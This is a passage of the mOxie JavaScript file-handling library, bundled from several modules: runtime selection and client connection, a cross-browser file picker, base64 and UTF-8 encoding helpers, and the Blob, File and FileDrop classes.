			defaultMode = Runtime.getMode(modeCaps, options.preferred_caps, defaultMode);
		}

		if (MXI_DEBUG && Env.debug.runtime) {
			Env.log("\tdefault mode: %s", defaultMode);	
		}
		
		// small extension factory here (is meant to be extended with actual extensions constructors)
		_shim = (function() {
			var objpool = {};
			return {
				exec: function(uid, comp, fn, args) {
					if (_shim[comp]) {
						if (!objpool[uid]) {
							objpool[uid] = {
								context: this,
								instance: new _shim[comp]()
							};
						}
						if (objpool[uid].instance[fn]) {
							return objpool[uid].instance[fn].apply(this, args);
						}
					}
				},

				removeInstance: function(uid) {
					delete objpool[uid];
				},

				removeAllInstances: function() {
					var self = this;
					Basic.each(objpool, function(obj, uid) {
						if (Basic.typeOf(obj.instance.destroy) === 'function') {
							obj.instance.destroy.call(obj.context);
						}
						self.removeInstance(uid);
					});
				}
			};
		}());


		// public methods
		Basic.extend(this, {
			/**
			Specifies whether runtime instance was initialized or not

			@property initialized
			@type {Boolean}
			@default false
			*/
			initialized: false, // shims require this flag to stop initialization retries

			/**
			Unique ID of the runtime

			@property uid
			@type {String}
			*/
			uid: _uid,

			/**
			Runtime type (e.g. flash, html5, etc)

			@property type
			@type {String}
			*/
			type: type,

			/**
			Runtime (not native one) may operate in browser or client mode.

			@property mode
			@private
			@type {String|Boolean} current mode or false, if none possible
			*/
			mode: Runtime.getMode(modeCaps, (options.required_caps), defaultMode),

			/**
			id of the DOM container for the runtime (if available)

			@property shimid
			@type {String}
			*/
			shimid: _uid + '_container',

			/**
			Number of connected clients. If equal to zero, runtime can be destroyed

			@property clients
			@type {Number}
			*/
			clients: 0,

			/**
			Runtime initialization options

			@property options
			@type {Object}
			*/
			options: options,

			/**
			Checks if the runtime has specific capability

			@method can
			@param {String} cap Name of capability to check
			@param {Mixed} [value] If passed, capability should somehow correlate to the value
			@param {Object} [refCaps] Set of capabilities to check the specified cap against (defaults to internal set)
			@return {Boolean} true if runtime has such capability and false, if - not
			*/
			can: function(cap, value) {
				var refCaps = arguments[2] || caps;

				// if cap var is a comma-separated list of caps, convert it to object (key/value)
				if (Basic.typeOf(cap) === 'string' && Basic.typeOf(value) === 'undefined') {
					cap = Runtime.parseCaps(cap);
				}

				if (Basic.typeOf(cap) === 'object') {
					for (var key in cap) {
						if (!this.can(key, cap[key], refCaps)) {
							return false;
						}
					}
					return true;
				}

				// check the individual cap
				if (Basic.typeOf(refCaps[cap]) === 'function') {
					return refCaps[cap].call(this, value);
				} else {
					return (value === refCaps[cap]);
				}
			},

			/**
			Returns container for the runtime as DOM element

			@method getShimContainer
			@return {DOMElement}
			*/
			getShimContainer: function() {
				var container, shimContainer = Dom.get(this.shimid);

				// if no container for shim, create one
				if (!shimContainer) {
					container = this.options.container ? Dom.get(this.options.container) : document.body;

					// create shim container and insert it at an absolute position into the outer container
					shimContainer = document.createElement('div');
					shimContainer.id = this.shimid;
					shimContainer.className = 'moxie-shim moxie-shim-' + this.type;

					Basic.extend(shimContainer.style, {
						position: 'absolute',
						top: '0px',
						left: '0px',
						width: '1px',
						height: '1px',
						overflow: 'hidden'
					});

					container.appendChild(shimContainer);
					container = null;
				}

				return shimContainer;
			},

			/**
			Returns runtime as DOM element (if appropriate)

			@method getShim
			@return {DOMElement}
			*/
			getShim: function() {
				return _shim;
			},

			/**
			Invokes a method within the runtime itself (might differ across the runtimes)

			@method shimExec
			@param {Mixed} []
			@protected
			@return {Mixed} Depends on the action and component
			*/
			shimExec: function(component, action) {
				var args = [].slice.call(arguments, 2);
				return self.getShim().exec.call(this, this.uid, component, action, args);
			},

			/**
			Operaional interface that is used by components to invoke specific actions on the runtime
			(is invoked in the scope of component)

			@method exec
			@param {Mixed} []*
			@protected
			@return {Mixed} Depends on the action and component
			*/
			exec: function(component, action) { // this is called in the context of component, not runtime
				var args = [].slice.call(arguments, 2);

				if (self[component] && self[component][action]) {
					return self[component][action].apply(this, args);
				}
				return self.shimExec.apply(this, arguments);
			},

			/**
			Destroys the runtime (removes all events and deletes DOM structures)

			@method destroy
			*/
			destroy: function() {
				if (!self) {
					return; // obviously already destroyed
				}

				var shimContainer = Dom.get(this.shimid);
				if (shimContainer) {
					shimContainer.parentNode.removeChild(shimContainer);
				}

				if (_shim) {
					_shim.removeAllInstances();
				}

				this.unbindAll();
				delete runtimes[this.uid];
				this.uid = null; // mark this runtime as destroyed
				_uid = self = _shim = shimContainer = null;
			}
		});

		// once we got the mode, test against all caps
		if (this.mode && options.required_caps && !this.can(options.required_caps)) {
			this.mode = false;
		}	
	}


	/**
	Default order to try different runtime types

	@property order
	@type String
	@static
	*/
	Runtime.order = 'html5,html4';


	/**
	Retrieves runtime from private hash by it's uid

	@method getRuntime
	@private
	@static
	@param {String} uid Unique identifier of the runtime
	@return {Runtime|Boolean} Returns runtime, if it exists and false, if - not
	*/
	Runtime.getRuntime = function(uid) {
		return runtimes[uid] ? runtimes[uid] : false;
	};


	/**
	Register constructor for the Runtime of new (or perhaps modified) type

	@method addConstructor
	@static
	@param {String} type Runtime type (e.g. flash, html5, etc)
	@param {Function} construct Constructor for the Runtime type
	*/
	Runtime.addConstructor = function(type, constructor) {
		constructor.prototype = EventTarget.instance;
		runtimeConstructors[type] = constructor;
	};


	/**
	Get the constructor for the specified type.

	method getConstructor
	@static
	@param {String} type Runtime type (e.g. flash, html5, etc)
	@return {Function} Constructor for the Runtime type
	*/
	Runtime.getConstructor = function(type) {
		return runtimeConstructors[type] || null;
	};


	/**
	Get info about the runtime (uid, type, capabilities)

	@method getInfo
	@static
	@param {String} uid Unique identifier of the runtime
	@return {Mixed} Info object or null if runtime doesn't exist
	*/
	Runtime.getInfo = function(uid) {
		var runtime = Runtime.getRuntime(uid);

		if (runtime) {
			return {
				uid: runtime.uid,
				type: runtime.type,
				mode: runtime.mode,
				can: function() {
					return runtime.can.apply(runtime, arguments);
				}
			};
		}
		return null;
	};


	/**
	Convert caps represented by a comma-separated string to the object representation.

	@method parseCaps
	@static
	@param {String} capStr Comma-separated list of capabilities
	@return {Object}
	*/
	Runtime.parseCaps = function(capStr) {
		var capObj = {};

		if (Basic.typeOf(capStr) !== 'string') {
			return capStr || {};
		}

		Basic.each(capStr.split(','), function(key) {
			capObj[key] = true; // we assume it to be - true
		});

		return capObj;
	};

	/**
	Test the specified runtime for specific capabilities.

	@method can
	@static
	@param {String} type Runtime type (e.g. flash, html5, etc)
	@param {String|Object} caps Set of capabilities to check
	@return {Boolean} Result of the test
	*/
	Runtime.can = function(type, caps) {
		var runtime
		, constructor = Runtime.getConstructor(type)
		, mode
		;
		if (constructor) {
			runtime = new constructor({
				required_caps: caps
			});
			mode = runtime.mode;
			runtime.destroy();
			return !!mode;
		}
		return false;
	};


	/**
	Figure out a runtime that supports specified capabilities.

	@method thatCan
	@static
	@param {String|Object} caps Set of capabilities to check
	@param {String} [runtimeOrder] Comma-separated list of runtimes to check against
	@return {String} Usable runtime identifier or null
	*/
	Runtime.thatCan = function(caps, runtimeOrder) {
		var types = (runtimeOrder || Runtime.order).split(/\s*,\s*/);
		for (var i in types) {
			if (Runtime.can(types[i], caps)) {
				return types[i];
			}
		}
		return null;
	};


	/**
	Figure out an operational mode for the specified set of capabilities.

	@method getMode
	@static
	@param {Object} modeCaps Set of capabilities that depend on particular runtime mode
	@param {Object} [requiredCaps] Supplied set of capabilities to find operational mode for
	@param {String|Boolean} [defaultMode='browser'] Default mode to use 
	@return {String|Boolean} Compatible operational mode
	*/
	Runtime.getMode = function(modeCaps, requiredCaps, defaultMode) {
		var mode = null;

		if (Basic.typeOf(defaultMode) === 'undefined') { // only if not specified
			defaultMode = 'browser';
		}

		if (requiredCaps && !Basic.isEmptyObj(modeCaps)) {
			// loop over required caps and check if they do require the same mode
			Basic.each(requiredCaps, function(value, cap) {
				if (modeCaps.hasOwnProperty(cap)) {
					var capMode = modeCaps[cap](value);

					// make sure we always have an array
					if (typeof(capMode) === 'string') {
						capMode = [capMode];
					}
					
					if (!mode) {
						mode = capMode;						
					} else if (!(mode = Basic.arrayIntersect(mode, capMode))) {
						// if cap requires conflicting mode - runtime cannot fulfill required caps

						if (MXI_DEBUG && Env.debug.runtime) {
							Env.log("\t\t%c: %v (conflicting mode requested: %s)", cap, value, capMode);	
						}

						return (mode = false);
					}					
				}

				if (MXI_DEBUG && Env.debug.runtime) {
					Env.log("\t\t%c: %v (compatible modes: %s)", cap, value, mode);	
				}
			});

			if (mode) {
				return Basic.inArray(defaultMode, mode) !== -1 ? defaultMode : mode[0];
			} else if (mode === false) {
				return false;
			}
		}
		return defaultMode; 
	};


	/**
	Capability check that always returns true

	@private
	@static
	@return {True}
	*/
	Runtime.capTrue = function() {
		return true;
	};

	/**
	Capability check that always returns false

	@private
	@static
	@return {False}
	*/
	Runtime.capFalse = function() {
		return false;
	};

	/**
	Evaluate the expression to boolean value and create a function that always returns it.

	@private
	@static
	@param {Mixed} expr Expression to evaluate
	@return {Function} Function returning the result of evaluation
	*/
	Runtime.capTest = function(expr) {
		return function() {
			return !!expr;
		};
	};

	return Runtime;
});

// Included from: src/javascript/runtime/RuntimeClient.js

/**
 * RuntimeClient.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/runtime/RuntimeClient', [
	'moxie/core/utils/Env',
	'moxie/core/Exceptions',
	'moxie/core/utils/Basic',
	'moxie/runtime/Runtime'
], function(Env, x, Basic, Runtime) {
	/**
	Set of methods and properties, required by a component to acquire ability to connect to a runtime

	@class RuntimeClient
	*/
	return function RuntimeClient() {
		var runtime;

		Basic.extend(this, {
			/**
			Connects to the runtime specified by the options. Will either connect to existing runtime or create a new one.
			Increments number of clients connected to the specified runtime.

			@private
			@method connectRuntime
			@param {Mixed} options Can be a runtme uid or a set of key-value pairs defining requirements and pre-requisites
			*/
			connectRuntime: function(options) {
				var comp = this, ruid;

				function initialize(items) {
					var type, constructor;

					// if we ran out of runtimes
					if (!items.length) {
						comp.trigger('RuntimeError', new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR));
						runtime = null;
						return;
					}

					type = items.shift().toLowerCase();
					constructor = Runtime.getConstructor(type);
					if (!constructor) {
						initialize(items);
						return;
					}

					if (MXI_DEBUG && Env.debug.runtime) {
						Env.log("Trying runtime: %s", type);
						Env.log(options);
					}

					// try initializing the runtime
					runtime = new constructor(options);

					runtime.bind('Init', function() {
						// mark runtime as initialized
						runtime.initialized = true;

						if (MXI_DEBUG && Env.debug.runtime) {
							Env.log("Runtime '%s' initialized", runtime.type);
						}

						// jailbreak ...
						setTimeout(function() {
							runtime.clients++;
							// this will be triggered on component
							comp.trigger('RuntimeInit', runtime);
						}, 1);
					});

					runtime.bind('Error', function() {
						if (MXI_DEBUG && Env.debug.runtime) {
							Env.log("Runtime '%s' failed to initialize", runtime.type);
						}

						runtime.destroy(); // runtime cannot destroy itself from inside at a right moment, thus we do it here
						initialize(items);
					});

					/*runtime.bind('Exception', function() { });*/

					if (MXI_DEBUG && Env.debug.runtime) {
						Env.log("\tselected mode: %s", runtime.mode);	
					}

					// check if runtime managed to pick-up operational mode
					if (!runtime.mode) {
						runtime.trigger('Error');
						return;
					}

					runtime.init();
				}

				// check if a particular runtime was requested
				if (Basic.typeOf(options) === 'string') {
					ruid = options;
				} else if (Basic.typeOf(options.ruid) === 'string') {
					ruid = options.ruid;
				}

				if (ruid) {
					runtime = Runtime.getRuntime(ruid);
					if (runtime) {
						runtime.clients++;
						return runtime;
					} else {
						// there should be a runtime and there's none - weird case
						throw new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR);
					}
				}

				// initialize a fresh one, that fits runtime list and required features best
				initialize((options.runtime_order || Runtime.order).split(/\s*,\s*/));
			},


			/**
			Disconnects from the runtime. Decrements number of clients connected to the specified runtime.

			@private
			@method disconnectRuntime
			*/
			disconnectRuntime: function() {
				if (runtime && --runtime.clients <= 0) {
					runtime.destroy();
				}

				// once the component is disconnected, it shouldn't have access to the runtime
				runtime = null;
			},


			/**
			Returns the runtime to which the client is currently connected.

			@method getRuntime
			@return {Runtime} Runtime or null if client is not connected
			*/
			getRuntime: function() {
				if (runtime && runtime.uid) {
					return runtime;
				}
				return runtime = null; // make sure we do not leave zombies rambling around
			},


			/**
			Handy shortcut to safely invoke runtime extension methods.
			
			@private
			@method exec
			@return {Mixed} Whatever runtime extension method returns
			*/
			exec: function() {
				if (runtime) {
					return runtime.exec.apply(this, arguments);
				}
				return null;
			}

		});
	};


});

// Included from: src/javascript/file/FileInput.js

/**
 * FileInput.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/FileInput', [
	'moxie/core/utils/Basic',
	'moxie/core/utils/Env',
	'moxie/core/utils/Mime',
	'moxie/core/utils/Dom',
	'moxie/core/Exceptions',
	'moxie/core/EventTarget',
	'moxie/core/I18n',
	'moxie/runtime/Runtime',
	'moxie/runtime/RuntimeClient'
], function(Basic, Env, Mime, Dom, x, EventTarget, I18n, Runtime, RuntimeClient) {
	/**
	Provides a convenient way to create cross-browser file-picker. Generates file selection dialog on click,
	converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory
	with _FileReader_ or uploaded to a server through _XMLHttpRequest_.

	@class FileInput
	@constructor
	@extends EventTarget
	@uses RuntimeClient
	@param {Object|String|DOMElement} options If options is string or node, argument is considered as _browse\_button_.
		@param {String|DOMElement} options.browse_button DOM Element to turn into file picker.
		@param {Array} [options.accept] Array of mime types to accept. By default accepts all.
		@param {String} [options.file='file'] Name of the file field (not the filename).
		@param {Boolean} [options.multiple=false] Enable selection of multiple files.
		@param {Boolean} [options.directory=false] Turn file input into the folder input (cannot be both at the same time).
		@param {String|DOMElement} [options.container] DOM Element to use as a container for file-picker. Defaults to parentNode 
		for _browse\_button_.
		@param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support.

	@example
		<div id="container">
			<a id="file-picker" href="javascript:;">Browse...</a>
		</div>

		<script>
			var fileInput = new mOxie.FileInput({
				browse_button: 'file-picker', // or document.getElementById('file-picker')
				container: 'container',
				accept: [
					{title: "Image files", extensions: "jpg,gif,png"} // accept only images
				],
				multiple: true // allow multiple file selection
			});

			fileInput.onchange = function(e) {
				// do something to files array
				console.info(e.target.files); // or this.files or fileInput.files
			};

			fileInput.init(); // initialize
		</script>
	*/
	var dispatches = [
		/**
		Dispatched when runtime is connected and file-picker is ready to be used.

		@event ready
		@param {Object} event
		*/
		'ready',

		/**
		Dispatched right after [ready](#event_ready) event, and whenever [refresh()](#method_refresh) is invoked. 
		Check [corresponding documentation entry](#method_refresh) for more info.

		@event refresh
		@param {Object} event
		*/

		/**
		Dispatched when selection of files in the dialog is complete.

		@event change
		@param {Object} event
		*/
		'change',

		'cancel', // TODO: might be useful

		/**
		Dispatched when mouse cursor enters file-picker area. Can be used to style element
		accordingly.

		@event mouseenter
		@param {Object} event
		*/
		'mouseenter',

		/**
		Dispatched when mouse cursor leaves file-picker area. Can be used to style element
		accordingly.

		@event mouseleave
		@param {Object} event
		*/
		'mouseleave',

		/**
		Dispatched when functional mouse button is pressed on top of file-picker area.

		@event mousedown
		@param {Object} event
		*/
		'mousedown',

		/**
		Dispatched when functional mouse button is released on top of file-picker area.

		@event mouseup
		@param {Object} event
		*/
		'mouseup'
	];

	function FileInput(options) {
		if (MXI_DEBUG) {
			Env.log("Instantiating FileInput...");	
		}

		var self = this,
			container, browseButton, defaults;

		// if flat argument passed it should be browse_button id
		if (Basic.inArray(Basic.typeOf(options), ['string', 'node']) !== -1) {
			options = { browse_button : options };
		}

		// this will help us to find proper default container
		browseButton = Dom.get(options.browse_button);
		if (!browseButton) {
			// browse button is required
			throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
		}

		// figure out the options
		defaults = {
			accept: [{
				title: I18n.translate('All Files'),
				extensions: '*'
			}],
			name: 'file',
			multiple: false,
			required_caps: false,
			container: browseButton.parentNode || document.body
		};
		
		options = Basic.extend({}, defaults, options);

		// convert to object representation
		if (typeof(options.required_caps) === 'string') {
			options.required_caps = Runtime.parseCaps(options.required_caps);
		}
					
		// normalize accept option (could be list of mime types or array of title/extensions pairs)
		if (typeof(options.accept) === 'string') {
			options.accept = Mime.mimes2extList(options.accept);
		}

		container = Dom.get(options.container);
		// make sure we have container
		if (!container) {
			container = document.body;
		}

		// make container relative, if it's not
		if (Dom.getStyle(container, 'position') === 'static') {
			container.style.position = 'relative';
		}

		container = browseButton = null; // IE
						
		RuntimeClient.call(self);
		
		Basic.extend(self, {
			/**
			Unique id of the component

			@property uid
			@protected
			@readOnly
			@type {String}
			@default UID
			*/
			uid: Basic.guid('uid_'),
			
			/**
			Unique id of the connected runtime, if any.

			@property ruid
			@protected
			@type {String}
			*/
			ruid: null,

			/**
			Unique id of the runtime container. Useful to get hold of it for various manipulations.

			@property shimid
			@protected
			@type {String}
			*/
			shimid: null,
			
			/**
			Array of selected mOxie.File objects

			@property files
			@type {Array}
			@default null
			*/
			files: null,

			/**
			Initializes the file-picker, connects it to runtime and dispatches event ready when done.

			@method init
			*/
			init: function() {
				self.bind('RuntimeInit', function(e, runtime) {
					self.ruid = runtime.uid;
					self.shimid = runtime.shimid;

					self.bind("Ready", function() {
						self.trigger("Refresh");
					}, 999);

					// re-position and resize shim container
					self.bind('Refresh', function() {
						var pos, size, browseButton, shimContainer;
						
						browseButton = Dom.get(options.browse_button);
						shimContainer = Dom.get(runtime.shimid); // do not use runtime.getShimContainer(), since it will create container if it doesn't exist

						if (browseButton) {
							pos = Dom.getPos(browseButton, Dom.get(options.container));
							size = Dom.getSize(browseButton);

							if (shimContainer) {
								Basic.extend(shimContainer.style, {
									top     : pos.y + 'px',
									left    : pos.x + 'px',
									width   : size.w + 'px',
									height  : size.h + 'px'
								});
							}
						}
						shimContainer = browseButton = null;
					});
					
					runtime.exec.call(self, 'FileInput', 'init', options);
				});

				// runtime needs: options.required_features, options.runtime_order and options.container
				self.connectRuntime(Basic.extend({}, options, {
					required_caps: {
						select_file: true
					}
				}));
			},

			/**
			Disables file-picker element, so that it doesn't react to mouse clicks.

			@method disable
			@param {Boolean} [state=true] Disable component if - true, enable if - false
			*/
			disable: function(state) {
				var runtime = this.getRuntime();
				if (runtime) {
					runtime.exec.call(this, 'FileInput', 'disable', Basic.typeOf(state) === 'undefined' ? true : state);
				}
			},


			/**
			Reposition and resize dialog trigger to match the position and size of browse_button element.

			@method refresh
			*/
			refresh: function() {
				self.trigger("Refresh");
			},


			/**
			Destroy component.

			@method destroy
			*/
			destroy: function() {
				var runtime = this.getRuntime();
				if (runtime) {
					runtime.exec.call(this, 'FileInput', 'destroy');
					this.disconnectRuntime();
				}

				if (Basic.typeOf(this.files) === 'array') {
					// no sense in leaving associated files behind
					Basic.each(this.files, function(file) {
						file.destroy();
					});
				} 
				this.files = null;

				this.unbindAll();
			}
		});

		this.handleEventProps(dispatches);
	}

	FileInput.prototype = EventTarget.instance;

	return FileInput;
});

// Included from: src/javascript/core/utils/Encode.js

/**
 * Encode.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Encode', [], function() {

	/**
	Encode string with UTF-8

	@method utf8_encode
	@for Utils
	@static
	@param {String} str String to encode
	@return {String} UTF-8 encoded string
	*/
	var utf8_encode = function(str) {
		return unescape(encodeURIComponent(str));
	};
	
	/**
	Decode UTF-8 encoded string

	@method utf8_decode
	@static
	@param {String} str String to decode
	@return {String} Decoded string
	*/
	var utf8_decode = function(str_data) {
		return decodeURIComponent(escape(str_data));
	};
	
	/**
	Decode Base64 encoded string (uses browser's default method if available),
	from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_decode.js

	@method atob
	@static
	@param {String} data String to decode
	@return {String} Decoded string
	*/
	var atob = function(data, utf8) {
		if (typeof(window.atob) === 'function') {
			return utf8 ? utf8_decode(window.atob(data)) : window.atob(data);
		}

		// http://kevin.vanzonneveld.net
		// +   original by: Tyler Akins (http://rumkin.com)
		// +   improved by: Thunder.m
		// +      input by: Aman Gupta
		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// +   bugfixed by: Onno Marsman
		// +   bugfixed by: Pellentesque Malesuada
		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// +      input by: Brett Zamir (http://brett-zamir.me)
		// +   bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// *     example 1: base64_decode('S2V2aW4gdmFuIFpvbm5ldmVsZA==');
		// *     returns 1: 'Kevin van Zonneveld'
		// mozilla has this native
		// - but breaks in 2.0.0.12!
		//if (typeof this.window.atob == 'function') {
		//    return atob(data);
		//}
		var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
		var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
			ac = 0,
			dec = "",
			tmp_arr = [];

		if (!data) {
			return data;
		}

		data += '';

		do { // unpack four hexets into three octets using index points in b64
			h1 = b64.indexOf(data.charAt(i++));
			h2 = b64.indexOf(data.charAt(i++));
			h3 = b64.indexOf(data.charAt(i++));
			h4 = b64.indexOf(data.charAt(i++));

			bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;

			o1 = bits >> 16 & 0xff;
			o2 = bits >> 8 & 0xff;
			o3 = bits & 0xff;

			if (h3 == 64) {
				tmp_arr[ac++] = String.fromCharCode(o1);
			} else if (h4 == 64) {
				tmp_arr[ac++] = String.fromCharCode(o1, o2);
			} else {
				tmp_arr[ac++] = String.fromCharCode(o1, o2, o3);
			}
		} while (i < data.length);

		dec = tmp_arr.join('');

		return utf8 ? utf8_decode(dec) : dec;
	};
	
	/**
	Base64 encode string (uses browser's default method if available),
	from: https://raw.github.com/kvz/phpjs/master/functions/url/base64_encode.js

	@method btoa
	@static
	@param {String} data String to encode
	@return {String} Base64 encoded string
	*/
	var btoa = function(data, utf8) {
		if (utf8) {
			data = utf8_encode(data);
		}

		if (typeof(window.btoa) === 'function') {
			return window.btoa(data);
		}

		// http://kevin.vanzonneveld.net
		// +   original by: Tyler Akins (http://rumkin.com)
		// +   improved by: Bayron Guevara
		// +   improved by: Thunder.m
		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// +   bugfixed by: Pellentesque Malesuada
		// +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// +   improved by: Rafał Kukawski (http://kukawski.pl)
		// *     example 1: base64_encode('Kevin van Zonneveld');
		// *     returns 1: 'S2V2aW4gdmFuIFpvbm5ldmVsZA=='
		// mozilla has this native
		// - but breaks in 2.0.0.12!
		var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
		var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
			ac = 0,
			enc = "",
			tmp_arr = [];

		if (!data) {
			return data;
		}

		do { // pack three octets into four hexets
			o1 = data.charCodeAt(i++);
			o2 = data.charCodeAt(i++);
			o3 = data.charCodeAt(i++);

			bits = o1 << 16 | o2 << 8 | o3;

			h1 = bits >> 18 & 0x3f;
			h2 = bits >> 12 & 0x3f;
			h3 = bits >> 6 & 0x3f;
			h4 = bits & 0x3f;

			// use hexets to index into b64, and append result to encoded string
			tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
		} while (i < data.length);

		enc = tmp_arr.join('');

		var r = data.length % 3;

		return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
	};


	return {
		utf8_encode: utf8_encode,
		utf8_decode: utf8_decode,
		atob: atob,
		btoa: btoa
	};
});

// Included from: src/javascript/file/Blob.js

/**
 * Blob.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/Blob', [
	'moxie/core/utils/Basic',
	'moxie/core/utils/Encode',
	'moxie/runtime/RuntimeClient'
], function(Basic, Encode, RuntimeClient) {
	
	var blobpool = {};

	/**
	@class Blob
	@constructor
	@param {String} ruid Unique id of the runtime, to which this blob belongs to
	@param {Object} blob Object "Native" blob object, as it is represented in the runtime
	*/
	function Blob(ruid, blob) {

		function _sliceDetached(start, end, type) {
			var blob, data = blobpool[this.uid];

			if (Basic.typeOf(data) !== 'string' || !data.length) {
				return null; // or throw exception
			}

			blob = new Blob(null, {
				type: type,
				size: end - start
			});
			blob.detach(data.substr(start, blob.size));

			return blob;
		}

		RuntimeClient.call(this);

		if (ruid) {	
			this.connectRuntime(ruid);
		}

		if (!blob) {
			blob = {};
		} else if (Basic.typeOf(blob) === 'string') { // dataUrl or binary string
			blob = { data: blob };
		}

		Basic.extend(this, {
			
			/**
			Unique id of the component

			@property uid
			@type {String}
			*/
			uid: blob.uid || Basic.guid('uid_'),
			
			/**
			Unique id of the connected runtime, if falsy, then runtime will have to be initialized 
			before this Blob can be used, modified or sent

			@property ruid
			@type {String}
			*/
			ruid: ruid,
	
			/**
			Size of blob

			@property size
			@type {Number}
			@default 0
			*/
			size: blob.size || 0,
			
			/**
			Mime type of blob

			@property type
			@type {String}
			@default ''
			*/
			type: blob.type || '',
			
			/**
			@method slice
			@param {Number} [start=0]
			*/
			slice: function(start, end, type) {		
				if (this.isDetached()) {
					return _sliceDetached.apply(this, arguments);
				}
				return this.getRuntime().exec.call(this, 'Blob', 'slice', this.getSource(), start, end, type);
			},

			/**
			Returns "native" blob object (as it is represented in connected runtime) or null if not found

			@method getSource
			@return {Blob} Returns "native" blob object or null if not found
			*/
			getSource: function() {
				if (!blobpool[this.uid]) {
					return null;	
				}
				return blobpool[this.uid];
			},

			/** 
			Detaches blob from any runtime that it depends on and initialize with standalone value

			@method detach
			@protected
			@param {DOMString} [data=''] Standalone value
			*/
			detach: function(data) {
				if (this.ruid) {
					this.getRuntime().exec.call(this, 'Blob', 'destroy');
					this.disconnectRuntime();
					this.ruid = null;
				}

				data = data || '';

				// if dataUrl, convert to binary string
				if (data.substr(0, 5) == 'data:') {
					var base64Offset = data.indexOf(';base64,');
					this.type = data.substring(5, base64Offset);
					data = Encode.atob(data.substring(base64Offset + 8));
				}

				this.size = data.length;

				blobpool[this.uid] = data;
			},

			/**
			Checks if blob is standalone (detached of any runtime)
			
			@method isDetached
			@protected
			@return {Boolean}
			*/
			isDetached: function() {
				return !this.ruid && Basic.typeOf(blobpool[this.uid]) === 'string';
			},
			
			/** 
			Destroy Blob and free any resources it was using

			@method destroy
			*/
			destroy: function() {
				this.detach();
				delete blobpool[this.uid];
			}
		});

		
		if (blob.data) {
			this.detach(blob.data); // auto-detach if payload has been passed
		} else {
			blobpool[this.uid] = blob;	
		}
	}
	
	return Blob;
});

// Included from: src/javascript/file/File.js

/**
 * File.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/File', [
	'moxie/core/utils/Basic',
	'moxie/core/utils/Mime',
	'moxie/file/Blob'
], function(Basic, Mime, Blob) {
	/**
	@class File
	@extends Blob
	@constructor
	@param {String} ruid Unique id of the runtime, to which this blob belongs to
	@param {Object} file Object "Native" file object, as it is represented in the runtime
	*/
	function File(ruid, file) {
		if (!file) { // avoid extra errors in case we overlooked something
			file = {};
		}

		Blob.apply(this, arguments);

		if (!this.type) {
			this.type = Mime.getFileMime(file.name);
		}

		// sanitize file name or generate new one
		var name;
		if (file.name) {
			name = file.name.replace(/\\/g, '/');
			name = name.substr(name.lastIndexOf('/') + 1);
		} else if (this.type) {
			var prefix = this.type.split('/')[0];
			name = Basic.guid((prefix !== '' ? prefix : 'file') + '_');
			
			if (Mime.extensions[this.type]) {
				name += '.' + Mime.extensions[this.type][0]; // append proper extension if possible
			}
		}
		
		
		Basic.extend(this, {
			/**
			File name

			@property name
			@type {String}
			@default UID
			*/
			name: name || Basic.guid('file_'),

			/**
			Relative path to the file inside a directory

			@property relativePath
			@type {String}
			@default ''
			*/
			relativePath: '',
			
			/**
			Date of last modification

			@property lastModifiedDate
			@type {String}
			@default now
			*/
			lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString() // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)
		});
	}

	File.prototype = Blob.prototype;

	return File;
});

// Included from: src/javascript/file/FileDrop.js

/**
 * FileDrop.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/file/FileDrop', [
	'moxie/core/I18n',
	'moxie/core/utils/Dom',
	'moxie/core/Exceptions',
	'moxie/core/utils/Basic',
	'moxie/core/utils/Env',
	'moxie/file/File',
	'moxie/runtime/RuntimeClient',
	'moxie/core/EventTarget',
	'moxie/core/utils/Mime'
], function(I18n, Dom, x, Basic, Env, File, RuntimeClient, EventTarget, Mime) {
	/**
	Turn arbitrary DOM element to a drop zone accepting files. Converts selected files to _File_ objects, to be used 
	in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through 
	_XMLHttpRequest_.

	@example
		<div id="drop_zone">
			Drop files here
		</div>
		<br />
		<div id="filelist"></div>

		<script type="text/javascript">
			var fileDrop = new mOxie.FileDrop('drop_zone'), fileList = mOxie.get('filelist');

			fileDrop.ondrop = function() {
				mOxie.each(this.files, function(file) {
					fileList.innerHTML += '<div>' + file.name + '</div>';
				});
			};

			fileDrop.init();
		</script>

	@class FileDrop
	@constructor
	@extends EventTarget
